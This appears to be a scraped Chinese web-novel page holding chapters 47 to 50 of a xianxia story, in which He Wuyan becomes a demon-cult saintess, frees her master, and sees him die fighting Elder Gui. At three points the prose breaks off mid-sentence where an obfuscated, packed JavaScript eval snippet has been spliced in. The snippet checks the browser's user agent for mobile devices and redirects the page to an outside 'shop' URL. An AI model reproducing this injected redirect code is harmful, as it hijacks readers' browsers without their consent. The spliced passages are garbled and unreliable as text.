“我说过，我只想成为修仙第一人。” “这就是你背叛师门的理由？” “我没有背叛师门。”他眼里闪过一丝犹豫。 她瞅准这个瞬间，狠狠地撞了他的脑门！ “何无盐！”李星中脑门红了一大片。“紫旭教为了今天的局面图谋了百年！这不是你我能左右的！自从《紫霄渡厄经》出世，这世道就已经变了！” “现如今人人都想着自己如何悟道飞升，只有你们三青山还在维持旧的秩序，根本不思进取！何不山是这样，清一门是这样，你也是这样！” 她一时不知道说什么。她确实一心只想着悟道之事，于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482358|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人、甚至于正魔之分，原是不大关心的。 可是，“保护此方世界的基本秩序、维持灵气在两岸的平衡，这叫不思进取？” “人心已浮动。没有紫旭教，也会出现红旭教、黄旭教，三青山不思变，那就只能原地等死。” 她一口咬上李星中的手。 李星中吃痛，但是任由她咬。“你咬吧，如果这样能让你好受些。” 她狠狠地咬着，眼睛却是红了。 李星中一声叹息。 “你别担心。何不山和被关押的师兄弟们，我会想办法的。” 李星中走了。当然百宝袋没还给她。 她脑子乱乱的，接连想起白芷和紫苏死前模样，还有姜卫照当时那发疯的样子，过来一会儿又想起二师兄…… “圣女！” 突然三道声音一齐呼喊。 她低头一看，是三圣童。他们好像，变得更小只了？ “圣女！”三圣童爬上了床铺，抱住了她。 “圣女别难过！” “圣女难过，金生也会难过的！” “银生也会！” “玉生也会！” 她看着这三只，虽知他们也是魔教，却生不起气来。 “你们怎么在这？” “圣女心中难过，我们便来了！” “魔子放我们进来的！” 李星中？可是放他们进来做什么？难道三圣童与她心中有感应吗？她细细分辨了一下，发现果然有一丝气息，与他们连着。 “圣女难过，三童就不好受；圣女开心，三童也会跟着开心；圣女强，三童也会变强；圣女生病，三童也会生病。”金生道。 那这么说，是因为她救治了鬼长老，于自身有损，所以才导致他们三个变小了吗？ 那圣女是否专属于自己的修行之道呢？ “金生，你说，以往圣女是如何修行的？” “圣女身怀血色禁果，只需学习使用血色禁果之力。” ……好吧，现在血色禁果在李星中身上。当她没问过。 但是！她突然想到。 男子身怀血色禁果为魔子，女子则为圣女，可现在紫旭教同时拥有圣女与魔子，难道这世间竟然有两个血色禁果吗？ 她问出了声。 “血色禁果之力能让魔种快快长大，长成青篱藤圣树。” “魔种？那是什么？” “种子藏在果子里，果子为种子提供成长的养分。” “种子只能在圣女体内生长，移到男子身上就会死亡。” 银生和玉生补充道。 那……所以血色禁果在李星中身上，而她身上还剩一个魔种？而魔种要长成青篱藤树，就需要血色禁果之力；不然，她就会全身酸痒发作——魔种取不到营养，便转而吸食她的生命？ 想到这里她便有些头皮发麻。那这么说，她还无法离开李星中、没办法离开这里？ “别人知道魔种的事情吗？”这里的别人，尤指李星中。 “这是历代圣女的秘密，除了我们和圣女无人知晓。” 那李星中用血色禁果之力为她疗伤，是偶然吗？ 不，不管怎么样，她不会一辈子都待在这里的。决不能。 二楼藏书阁里……有很多功法。 那里，总能找到什么办法，解决她的问题吧？而且正如李星中所说，她应该尽早提升修为，这样三青山才有指望。 正派的功法她都看过了，基础原理大差不差，她都是不能修行的。 如此一来，只剩魔教的功法了。 成千上万本藏书，总有一本适合她的吧？ 47. 入魔之初 一团黑气行走于何无盐周身。 藏书阁中有紫旭教的基础心法，三童又将侍奉历代圣女的心得告诉了她，配合李星中在她身体里留下的血色禁果之力，三管齐下，成效很快就显现出来。 不仅如此，她发现，鬼长老身上的黑气其实并没有消失，而是留在了她的体内。修行之时，就蹿了出来，然后……被她的筋脉吸收了。 活动活动筋骨，扭动扭动脖子，她觉得自己似乎不太一样了。 有一些轻微的不适感遗留，可却像是……在长高。 她感觉自己精力旺盛。不愧是魔教。按照这种修行速度，若不是容易把脑子修出问题，天资聪慧的不出三年就能达到飞升的水平。 她调理了自身的气脉，又配上瑶光池和先前师弟给她开的各种药，身上果然舒爽了许多。 虽然有些奇怪，不过也顾不上那许多了，现在这样至少可以不再受制于李星中。还有什么白慕圣，花辞树，整个魔教，不在话下。 接下来要考虑的是怎么把师父师兄他们救出来。烛龙之眼被李星中拿走了，或许她可以偷回来，再或许可以用什么跟李星中交换。 对了，圣女所承袭的青篱藤树一脉，不是可以弥补紫旭教功法之不足吗？就像她救治鬼长老那样。说不定，李星中也需要她出手略作调理呢？那不就是可以用来交换的筹码吗？ 此时门口传来阵阵波动。 她有些好奇，来到了门口。 “请圣女降世，救救我等！” 声音不大，可是十分清晰。她感到下面气息杂乱，似乎有很多人。 便忍不住往外走。 镇楼兽立刻显了身，冲着她龇牙咧嘴，甚至还拿嘴筒子往里拱她，一副务必要把她赶回去的势头。 她一撑手，从镇楼兽头顶跃了过去。 没想到，这却刺激了镇楼兽。 一声仰天嗷叫后，它们眼睛似乎是充了血，整个身体膨胀起来，变得有半个瑶光楼那样高，然后向她冲了过来。 她躲闪不及，只能正面迎敌。 幸亏眼疾手快，掐住它的耳朵来了个转体，骑到镇楼兽的身上，对着它的后脑勺邦邦邦就是一套组拳。 叫你软禁我！ 叫你跟李星中一个阵营！ 叫你凶我！ 打完一只还不过瘾，她又跳到剩余三只镇楼兽身上，如法炮制。 镇楼兽虽然极力奔跑，但都没能把她甩下来。 酣畅淋漓的发泄完之后，四只镇楼兽都趴下了。 她回过神来，看着自己的双手。 咦？我这么厉害了？！魔教搞的邪修功法就是厉害啊！ 她慢悠悠地走到了洞口，发现三童已经在水帘处等着她了。 金生为她撩开了水帘，而银生旁边站着玉生。一眼过去，有些不和谐的地方。 她在三童身上来来回回看了好几遍，终于发现了不对。玉生似乎变矮了！原本他们三个是个子、大小都相同的粉娃娃，可现在玉生却矮了银生三分之一个脑袋。 “这是怎么回事？” “圣女刚才破镇楼符箓兽，使用的力量太大，所以玉生变小了。”金生答。 这……怪不得刚才她感到后劲十足。她内里与三圣童相连的气息又坚实了一些。看来三圣童与圣女的关系确实非比寻常。 这么想着，便出了水帘。水帘之外是断崖。 此处有九天之水，原本为清一门禁地。即使被紫旭教占领了，也由李星中管辖，轻易不让闲杂人等踏足。 她听到的声音来自断崖外。借由三童的帮助，她来到声音的源头。 一群人密密麻麻地跪着。 有几个紫旭教守卫正在训斥他们。“胡闹！此处不允许驻足，尔等还不速速离开！” “不行，圣女不出面，我们就不离开！” “再不离开，我等就上报花右使！到时候有你们好果子吃的！” 说罢，就拔出了腰间的刀，正要劈下。 “住手！”银生握住了守卫的手。守卫疼的龇牙咧嘴，刀应声落地。 “乐生圣女在此，何人胆敢放肆！”金生往外踏出一步，大声喝道。 众人一看，何无盐衣袖翩翩，从半空落下。就算不认识眼前的女子，可三童他们却是认识的。 三童都说是圣女了，那还能不是圣女吗？ 于是个个纳头便拜：“教众拜见乐生圣女！” “为何事而来？” “请圣女救救我们！” 这从何谈起？她看向金生。 金生在她耳边低语：“禀圣女，圣战之后百年间，我教再没有出过圣女。是以教众修行，走火入魔而亡者甚多。今日聚集起来，便是向圣女请愿，望圣女再现圣迹，清除秽气。” “嗯……此事可曾有过先例？” “有。我教圣女共十五代，代代开设法坛指点教众，其中更有三分之二都亲自为教众降下圣迹。如是，千年来，圣女在教内地位尊崇，有时甚至超过教主。” 何无盐想了想。为鬼长老调息之时，黑气进入她的体内，最终为她修行所用。那或许，救教众，这便是圣女的修行之法？至少于她提升修为来说，这是有益的。 而且，现在她急需脱离花辞树和李星中的掌控，自立门户。或许，在教众之中立威，也是一个不错的办法。 她随手抓起一个教众，以手掌贴上额心，尔后点他周身大穴。半晌，从眉间抽出一丝黑线，收于掌间。 “乐生圣女显圣迹了！”教众惊呼，而后诚心拜服。 “从今日起，我每日可诊一人。” “是。圣女慈悲心怀，乃我教之福。”金生脆生生答道。 撂下这句话，她便离开了断崖，三童紧随身后。 回到瑶光楼，何无盐便坐了下来。 刚刚施展一番圣迹，让她有些疲惫。不过，她确实感到紫旭教的功法与她体内有着某种呼应。抽出来的黑气，不知道有何作用？这么想着，她来到二楼，打开暗格，左右各摇了两下铃，进了藏书阁。 但藏书阁典籍浩瀚如烟，要想在这里找到自己所需，并不是一件易事。 她从午时找到酉时，找得两手空空，肚子也空空。 一下楼，李星中也已经让人都把饭菜备好了。 她坐下来吃饭，却心不在焉。 伸出筷子，放进嘴里，再伸出筷子。 要找到所需的典籍，有两个方法。一是问李星中。清一门常有些奇奇怪怪的研究，其中或许有可以帮她直接找书的术法。二，她可以搬去息语林。息语林中，时间流速会更慢。她有足够的时间把这里的书全部看一遍。 可是她才跟李星中闹成那个样子，现在跟他提要求， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为这正是我的手笔。我放出风声，说出圣女归来，救治了鬼长老之事。私底下我可是花了不少力气才鼓动教众到瑶光楼之外聚集的。” ……原来是你。“白慕圣，你从一开始就想尽办法让我入紫旭教，又推我为圣女，现在还聚集教众于此。你这是何意？” “此事说来话长。但眼下，积累声望，能让你尽早离开瑶光楼。那花辞树不过是教主的右使，说到底教主不在，圣女在教中地位崇高，他没有资格软禁你。” 蜘蛛不断地吐泡泡，看着有些恶心。 “此间事闹大了，便会惊动剩下几位长老。他们也会想请你出手，清除体内秽气。众长老联手施压的话，不怕花右使不低头。借此机会，你就可以离开瑶光楼。” “那你此举得罪了花辞树，又是为了什么呢？你可是花辞树保举上来的长老。” “我自有我的道理。等你离开瑶光楼，见面再……” 突然，声音就中断了。蜘蛛死状凄惨，躺在金生手里。 李星中来了。 脸色阴沉的可怕。 48. 掌门之位 这下坏了。 刚才他们说的话李星中听到了多少？ “我、我有点累了，我先去休息了。”三十六计走为上，眼下她只能顾头不顾腚。 李星中一把拉过她的手，把她拽到了面前。 “乐生圣女，受万人敬仰的感觉怎么样？”李星中的脸投下一片阴影。 她不敢看他。“不、不怎么样……” “是吗？我看你倒是乐在其中。再过几天，你都能借助圣女的声望从这里搬出去了。” 完了。他应该是全都听到了。 “我、我只是担心师父和师兄他们，想尽早把他们救出来。” “我说过了我会想办法。你就这么不相信我？” 她默默把脸转向另一边。 “那你就这么相信那个白慕圣？”他又是猛地一拉，两人脸凑到了一处。 “我也不相信他，但是我可以利用他。”她坦荡荡地迎上那双愤怒的双眼。 李星中声音一下高了，“只怕人家先将你吃干抹净了你都不知道！” “那你呢？你到底是谁？目的是什么？为什么把我软禁在这里？”她不甘示弱，“我师父现在在哪里？我的百宝袋为什么不肯还给我？” 李星中的眼神晦涩看不清。“你不能做圣女。” “可是你把我推上这个位置的。”现在又来说些什么？ “不错，是我把你推上这个位置的。”他轻轻抚摸着她的脸，“不过，我后悔了。你不该做圣女。” “该不该是你说了算的吗？再说，现在说这些有什么用？”话已经放出去了，名声也传播开了，教众也都见过了她。最重要的是，她已经开始修魔了。 “你以为圣女是好当的吗？现在还来得及。”李星中抓住她的手腕，“跟我走。” “我不走！”她死死扒住了墙，大喊。 可李星中手劲之大，直接把她拽走了。她又用脚勾住桌椅，可桌椅都被拖着前行。 她最后眼疾手快，把身体一部分卡进了墙的缝隙，即使李星中拖着她前行，脚也被卡在墙缝里。“我不走！除非把师父师兄们都救出来！” 李星中拖不动她，回过头来。看着她满脸涨红，是不甘、是愤恨，手腕上有被自己握出清晰的手掌印。 他沉默地站住了。百宝袋甩在了她的面前。“既然你这么想救你师父，就跟我来。只是你救了他之后，要赶紧离开这里，再也不能回来。” 谁想回来？除非是把魔教都赶出去。不过把人救出来，这是最重要的。“好。” 两人又来到朝云峰。李星中带着她操了一条小道。越走越黑，树木遮天蔽日，只有很零碎的光渗了进来。 这里她没来过。或者说，这条小道，以前未曾有过。 一座不大的石屋出现在眼前。没有守卫，但李星中拦住了她。 他眼中光芒一闪，手上青筋凸现，血脉尽现。有什么从他的血脉一点点爬上手指。紧接着他咬破了自己的手指，一滴蓝色的血落下。 脚底传来阵阵波动，绿色的草地眨眼间成了天空的倒映，飘来几朵云。 “跟紧了。一步也不要踏错。” 眼前光滑如湖面。李星中每往前一步，脚底下都会轻轻的晃动，产生一阵涟漪。 何无盐必须赶在他的脚印消失前完完全全踩进他的脚印中。 但脚印又是漂浮着的，有时来了一阵风，两个脚印之间就离了两里地去。搞得她有些紧张，出了一头汗。 两炷香的功夫过去，在这天空镜面上，他们绕了大半个圈子，还折返了两次，终于是到了石屋。 “这是什么？” “血缚术，血浮屠的一种。花辞树设下的结界。修炼血浮屠臻于化境，可以束缚住一方天地。现在我们以血液为媒介，暂时骗过了这个结界。” 哦，就像她上回破解关押何不去师叔的结界一样。只不过她是现学现卖，很快就被发现了。 那……李星中也修了血浮屠吗？ 她看着李星中的背影。他一个人走在前面。 石屋内空无一物，而是有个暗格。李星中摆弄了两下，便出现了地道。两人顺着走下去。 一个人影挂在墙上，两手被拷住。正是何不山。 “师父！”她冲上去，破魔剑一边一下，破开了锁链。 他脸色苍白，往日高大的身影，如今竟然也显得矮了许多。 “无盐？”何不山慢慢睁眼。 “是我。师父，你怎么样？”她眼睛酸涩。 “你怎么在这里？”这么说着，还咳了两下。 “我来救你出去。” 他环视了一圈，注视着李星中，微微点头，“星中也在。好，好孩子，你们都是好孩子。” 她没注意到，李星中也冲着何不山微微点了点头。 这话她只觉得讽刺。现在，她和李星中，一个是圣女，一个是魔子，这也能算好孩子吗？尤其是李星中，背后不知做了多少对三青山不利的事。 “师父，我们带你出去。” “不，我活不久了。”何不山摆了摆手。 “师父！您不要说这种丧气话！三青山还要靠您重振旗鼓！” 说着便拿出烛龙之眼，喊了半天：龙师祖！ 无人回应。这样下去也不是办法。她把奄奄一息的何不山架到自己身上。 “听我说。”何不山按住了何无盐，“我的寿元本就将近，闭关也未能突破，就算是魔教不来，也时日无多了。” “无盐，修行朝云神功数年，却进展缓慢，你可知为何？”何不山突然问。 何无盐以为他有责备之意，过往不如人的经历又袭上心头。她眼神黯了黯，“是徒儿不够勤勉，才耽误了这么多年。” “傻孩子。你在息语林中修行，不吃不睡，不分日夜，这还叫不够勤勉？”何不山笑了。昔日那个威严的师长似乎又回来了。 她立即抱拳，“是徒儿无能，还请师傅责罚。” “哎，你这性子。进山的时候，我就看中你心性坚定，不过，真可谓成也萧何败萧何，怎生地如此古板。也是我没有教好。或许龙师祖说的是对的，你应该去太一门。” 话说的她心里突突的。“师父……您这是要赶弟子出门？” “这里不是说话的地方。”李星中突然打断，“我们先出去再说。” 也对，“徒儿先救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着何不山。往日里，何等威严的一个人，倒下了，像是要把心肝脾胃肾一同也咳出来。 “是。”她双手接过掌门信物，“弟子必要驱除魔教，光复三青山，至死方休！” 她背着何不山。 出了石屋，踩着李星中的脚印走了一遭，离开了花辞树布下的结界。 何不山对山中阵法比他们熟悉多了。于是两人听从何不山的指挥，在山间来回穿行，走了许多荒废的小道。 李星中在前方开路。山道年久失修，许多已重新长满了荆棘。 她有些恍然。好像他们刚刚下山那会儿，她丢了剑，于是两个人在寻剑，还说了些交心的话。 没过多久，这股怅然便被压了下去。 何不山在她耳边悄悄道，“星中这孩子出现在青陵峰顶时，天上有廉贞星动。我和你林师叔算出，三青山必有一劫，要落在这颗廉贞星上。” 但他立即不说了。 一道恐怖的目光注视着他们。 鬼长老来了。 49. 生离死别 咔嚓，咔嚓，咔嚓。那具盔甲带着自己独有的节奏，从前方树木中缓缓走出来。不同于那日，盔甲有些黯淡无光，有的部位又积起薄薄的锈迹。 不知是敌是友。但看这个势头，来者不善。 树木高大，凉气袭人。枝桠挽着手，大将片的光挡在外面。林间显得颇为阴森。 何无盐全身都紧绷起来。 她来做什么？ “阿瑜，多日不见，别来无恙。” 顾不了何不山会作何感想，她决定先声夺人。最好能用圣女的身份将此事压下去。“你最近如何了？还常常见到云教主的幻相吗？” “参……见圣女。”鬼长老拜过她后起身，像一座小山，横在他们前面。“托、托圣女鸿福，属下好、好多了。” 这不叫好多了，这叫病又复发了。若是她回去好好休养生息，也不至于如此。到底为什么不能放过自己？ “我每日可诊一人。明日你到瑶光楼来，我为你除秽。”她甩下一句话，从鬼长老身边擦肩而过。 她心中暗自祈祷：求求了，苍天大地，今日当我们没遇到，就这样放我们过去吧！ “多、多谢圣女。”紧接着，盔甲腹中幽幽传来一句：“请圣女，交、交出……何不山。” 该来的还是躲不掉吗？ “鬼长老，我怎么不知道，你原来是花右使的狗？”李星中嘲讽了一句。 “我只为、为自己的心。” “何谓你的心？” “云教主再造之恩，不得不、不报。” 她道，“云教主身死已有百年。你如今这副模样，当年的恩情，也应当早就报完了。” 盔甲缓缓地左右摇了摇头，发出嘎吱、嘎吱的声响。 今日看来是不能善了了。 李星中不屑，道，“那圣女之恩，你又当如何报答？” “来世愿为、牛马。” “哼，来世？此岸之人，有何来世？”他不依不饶。 天一老祖向烛龙许愿后，世间已再无妖精鬼怪。若是身死，便是归于自然，烟消云散。有的人修行，不过就是为了脱离死亡之苦。 对方沉默。“此事、过后……”事后她再另寻报答之法。 形势不妙。 何无盐沉了沉，“若是我非要带走呢？” “请、请圣女见谅。”鬼长老身体微微前倾，空空的头盔像长出了眼睛，盯着猎物一样看着何不山。 李星中与她交换了眼神。 我拦住鬼长老，你们先走。 电火石光的刹那。 李星中暴起！狠狠砸向鬼长老的脖子！ 而鬼长老瞬间消失了，只剩身后一阵微风。玄冥出鞘！“叮”地一声，与盔甲狠狠地撞在一起。身后的树倒了。 这边两人刚交上了手，她立刻唤出破魔剑。可刚飞出去没有多远，空空的头盔出现在她的眼前。 它看起来有点谨慎。 “圣女……留、留步。” 手下一点没留情。 砰！一拳正中腹部，五脏六腑似要裂开。她从空中重重地落下去。 回头一看，李星中那边正忙着与鬼长老的……一只手和一把剑缠斗。说是一只手，其实也只是左手的盔甲罢了。 鬼长老本就没有了肉身，剑与盔甲经年累月陪伴她修行，都是本人的一部分，可以与本体随意分离。左手飞回来，接上了肩膀。 她觉得鬼长老好像笑了一下。 “血色禁果……你不会用。” 这话不知是说她，还是说李星中。但事实确实如此。面对修行百年的鬼长老，何无盐这点道行根本不够看。 而李星中虽有血色禁果在身，但发挥不出此物的威力。 滔天的魔气分为三股，和剑一起攻击李星中。 她艰难起身。 四方缠斗，相持不下。 她出剑，对方却没有闪躲的意思。先刺头部，再劈向肩膀。 破魔剑能刺穿这盔甲，但却不能阻止对方的步伐。 对方只想要何不山。 而鬼长老形如鬼魅，动作奇快，棘手非常。 想摆脱，恐怕不易办到。 难道只能死斗？ 十招过后，对面仗着一身铠甲，连抢三招，攻势凶猛。她有些招架不住，败下阵来。 “圣女，还请退、退下。”盔甲腹中又出声。 肩头突然被拍了拍。是何不山。他的面色突然红润，动作轻盈，背手而立，仙风道骨。 “师父！”她眉头一松，有些惊诧。 “狂战士鬼长老，久仰大名。”何不山整理了一下衣衫，捋了两把胡子，“今日所见，名不虚传。” 鬼长老又道，“回去……见花右使。” 何不山呵呵一笑，“花右使的手段，我已见过了。虽是年轻人，也没什么新花样。阁下若是有本事，大可将我领到他的面前去。” “得罪！”随着鬼长老腹中语毕，万鬼哭嚎，犹如群山泣诉。 她的动作如一阵风，剑上带有戾气，伤人甚过剑锋。 何不山身无长物。剑袭来，他却只一弹指。 雄浑的气势漫开。 “你们不是想要阵法吗？今日我就让你们开开眼界。” 他跺了一下脚。以他为中心，一束光直冲天际。是巨阙大阵！ 紧接着，他身后浮现符文法阵。符文有三层，内外两层顺时针选择，中间逆时针旋转。 他疾速飞向鬼长老。 而比他更快的是符文中飞出的剑。 漫天的剑雨攻向对方，这次鬼长老有了闪避的动作。但已经来不及了。 剑形成一股洪流，简单、粗暴、纯粹，足足持续了四分之一柱香的功夫。 何无盐看傻眼了。 一阵灰尘扬起，又落下。剑流造成了一个深坑，从坑里冒出人影来。盔甲显得有些破旧。 鬼长老略微颔首，“很……好。”到底在好些什么？ 她一个闪现，来到何不山面前。 何不山心意已与巨阙阵合一，符文法阵突然出现在面前。从中间出现一把巨剑，像是寺庙里撞钟的钟槌，直直地将对方顶飞出去。 重剑无锋，大巧不工。剑虽未开锋，却无比犀利，将对方死死地定在了地上。 但盔甲仍然能动。只见，盔甲突然自动分成了两半。 上半身高速旋转着袭向何不山。 何不山一挥手，又是一阵剑雨落下。这回落下的剑极细、极密，甚至像是长长的针，反向钻进每一片鳞甲之中。 而后！何不山一抬掌，全立了起来！ 鬼长老成了只刺猬。 何不山做出一个手势，剑深深地又往里再扎了几寸。 何无盐什么声音也没听到。可她却觉得有人在尖叫，又像是在狂笑。 “好……很好。”到底什么很好？ 何不山两手一分，盔甲竟被拆成了无数片！ 不待对方有任何喘息的机会，无锋重剑缓缓出现在天际。 狂风大作，何不山衣袖翻飞，人却犹如定海神针直直站着。再仔细看，他的须发已开始发白，皱纹也生长出来。 巨阙已出，以排山倒海之势指向地上那人！ 三童突然出现，在一片光中护住了她。 片片鳞甲立起，在狂风骤雨的攻势下向前方发起进攻！ 轰！ 鳞甲飘落在地上，头盔无力地垂下。 “圣女姐姐，我还留有最后一丝精纯魔气，供你驱使，以报答你的恩情。”一丝黑气飞入何无盐怀中。 “好……好啊……” 百年来，在盔甲之中修行，血肉无存，虽未死，又好像从未活过。 “终于要结束了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482361|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护山大阵冲破了林间荫蔽，阳光照射进来。这个叫阿瑜的少女，飞进了光中。 而这边，何不山猛地坐下。 “师父！” 何无盐冲上前去。 “无盐，三青山交给你了。”他本已是强弩之末。 鬼长老不生不死，不灭不尽。若她一直在，三青山便难有希望。所以何不山启动巨阙大阵，斩之以天地灵气，以绝其魔气再生。 但这也成为压垮他的最后一根稻草。 她拼命点头，“我知道了，师父，您再撑一会儿！我……”还能怎么办？丹药？灵气修复？对了，龙师祖！ 龙师祖一定还有办法！ 他握住何无盐的手，轻轻摇了摇头，悄悄道： “星中……三青山有一劫要应在星中身上。但他一心求道，本性不坏。廉贞入命者，若是善加引导，必能向善。” “徒儿知道了！师父您撑住，徒儿立刻就去找龙师祖！” 何不山大笑，“我等修行，并不为长生大道。生死有命，不过是复归天地罢了。” 然后阖上了双眼。 取自天地山川的灵气从他身上溢出，钻进地下，飘散林间，溶于水边。人也随之消散了，什么也没留下。 她紧紧握住手中扳指。“李星中，刚才拦截鬼长老，你并未使出全力。” 李星中被点破，也不紧不慢，“不错。鬼长老实力在我之上，我本拦不住她。她似乎……更像是一心求死。” 鬼长老虽然出现，却并没有怎么对他们出手。只是拦着不让他们走而已。 “今日之事，你在谋划着什么？” “想要护山大阵的解法？”他们一路走过来，何不山一直在告知他们如何避开阵法，若是避不开又该怎么解。 “想要何不山的命？”觉得从他嘴里，什么也套不出来，所以把他当成弃子？ “还是想骗取我的信任？”目的就是为了勾 对这个局面，李星中显然也有些意想不到。“你多虑了。结界被触动，花辞树必然会派人来，其他人，杀了便是了。但没想到是她。” 杀不死的对手，还能怎么办？ “若是其他人，杀了，你又如何向花辞树交代呢。” “他能怀疑任何一个人，但他没有证据。在彻底撕破脸皮之前，他还需要我。而且教内不服他的人很多，比如白慕圣。简而言之，大家都有嫌疑。” 说曹操曹操到。 “谁在叫我？” 白慕圣从天而降，单膝跪下，“白慕圣参见圣女。” 没有回应。他愣了愣神，感觉到氛围有些不对劲。 “起来吧。”何无盐冷着脸道。 “是，圣女。” 她顺势安排起来，“白长老，你去准备一下，我要入住息语林。” 白慕圣一点没觉得奇怪，“是。” “何无盐！”李星中怒了。 “再通知一下教众。每日问诊都到息语林去寻我。” “是。” 李星中突然出现在她面前，握住她的手腕。“你在胡闹些什么。” “我没有在胡闹。我要搬走。对了，别忘了藏书阁中的那些书。”后半句是对白慕圣说的。 林间走来一人。“白长老，人家小情侣吵架，你掺和些什么？”银饰互相碰撞，映衬着极为美丽的一张脸。只不过是张美丽的臭脸。 这话说的酸溜溜的。 妙音娘子道：“小心人家床头吵架床尾和，就你没好果子吃。” 看见美人，何无盐也不恼她这般说话，只催白慕圣：“白长老，劳烦了。” 白慕圣：“属下这次前来，还有一事。” 原来他本是去瑶光楼传达花辞树的命令，可是却见到了冲天的光阵，顺路过来瞧瞧。 花辞树为了地火处的玉石，请她前去商议。 50. 地火寻宝 只见白慕圣拿出了一支笔和一罐颜料，然后念念有词。 手中的笔立了起来，飘到地上，蘸上颜料就开始画。不多会儿，一个烛龙之眼就成型了。 只不过这个，与龙师祖给她的那个有略微的差别。 白慕圣带着他们站进法阵中，眼前事物很快开始变换。等终于停下来，已是另一番风景。 是一处大户人家的宅邸。他们一路穿行，脚底的路由小的玉石铺设而成。看起来……颇为眼熟。何无盐走了几步，想起来了。 这里是田世岭的家。 为什么要到这里来？难道白慕圣追杀他们追到了田家，然后全家老小都没有逃过他的毒手吗？ 花辞树远远地站着，一身火红，头上又带一朵杜鹃。杜鹃热情似火，开得正好，非常扎眼。 哭魂幡、金花飞蚺都已经到场。而九音娘子为了显示他们不是一路的，故意晚了些到。 “参见花右使！” 花辞树略微颔首。 “鬼长老怎么还没到。”哭魂幡嘀咕。 金花飞蚺上半身的蛇发出嘶嘶的声音，“鬼长老已是不死不灭之身，小小的玉石，恐是看不上眼。” 哭魂幡一听被人小觑，火气立马就起来了：“不来更好！不来宝贝就是我们几个的了！” 虽然何不山开启了巨阙大阵，但是三青山的结界将这些波动都挡在外面。他们早早就出了三青山在此处候着，还不知道这事。 花辞树挑了挑眉，“圣女，白长老说你知道地火处玉石的所在。此番要劳烦你带路了。” 她神秘地微笑了一下，眼神不由自主地看向白慕圣和李星中。 在地火时，她从未见过玉石，又怎么会知道玉石所在？当时，她与李星中为了躲避白慕圣的追杀，从地底出来之后，立刻就逃走了。 她设法拖延时间，“花右使，取宝就只带这么几个人吗？” 哭魂幡嚷嚷道，“这是什么话？紫旭教的强者都在这儿了，难道还需要带谁吗？又不是正道那帮废物，取个玉石还能死上一批弟子。” 花辞树微笑，“圣女，你只管带路。其他的事，我们自会解决。” 没办法了。只能硬上了。 这么一想，她带着众人来到地火附近。 不过地火烧的似乎比之前更旺盛了。这里虽然离琉璃净火甚远，但热浪滚滚，灼人非常。 她道：“此处虽然宝物甚多，但是地火威力也十分可怕，我只能带各位到此处。再往西三十里，便有矿洞。各位可自行前去。” 除了李星中有玄冥护着，其他几人多少都出了些汗。此时是白天，蓝色的火焰虽起起伏伏，但不甚显眼。只有烧灼的味道浸入每个人的眼鼻。 哭魂幡不依不饶，“娇滴滴的小娘子！你不去，谁知道是不是骗我们的！” 李星中开口：“圣女为我教立下四等大功，有什么骗人的必要？再说，圣女不去，就不分玉石，不是应该正合你的心意吗？” 哭魂幡见自己势单力薄，就拉上了别人：“哼！那也不行。圣女必须带路！花右使，金蛇，九音娘子，你们说呢？” 花辞树一音定锤：“不错，还请圣女继续带路。” 没办法。她硬着头皮往西走。 李星中悄悄握住了她的手。玄冥的凉意突然将她裹住，好像又可以呼吸了。 荒山峻岭，寥无人烟，甚至连路也没有。往西三十里后，她一拍脑袋，“哎呀，好像记错了。” 又带领众人往西北行了五里，然后随意指了一个方向，就让哭魂幡开路。 哭魂幡觉得被戏弄了，“你玩我们呢？！”若是之前来过，这里的草木怎么会如此茂盛？ “哭魂幡，我有没有骗你，开了路不就知道了吗？” “花右使！”哭魂幡告状，“我看圣女根本就是诚心欺骗我们！” 花辞树意味颇深地看了她一样，“开路。” 哭魂幡气着了：“若是开了路什么都没有，别管你是不是什么圣女，我要你好看！” 说完，他从背后取出一面白旗，一边摇，一边发出一种很奇怪的声音。 先是很小声，何无盐都不知道他在干嘛。慢慢地，他的肩膀在微微耸动，声音变成一种轻轻的抽泣。然后他的泪水也下来了，鼻涕也下来了，变成了一种嚎啕大哭。 一个留络腮胡、浑身是肌肉的男人，哭成这样，不知道的以为是老婆跟人跑了，或者养了多年的孩子不是自己的。 四周渐渐出现窸窸窣窣的声音。 她突然觉得天色都暗了下来，好像是被影子遮住了。 一层又一层的影子在树间流动起来，然后，树木都消失了。准确地说，是被吃掉了。 哭魂幡这不知道修行的是什么功法？ 半晌的功夫，放眼望去，眼前到山上被清理得干干净净。 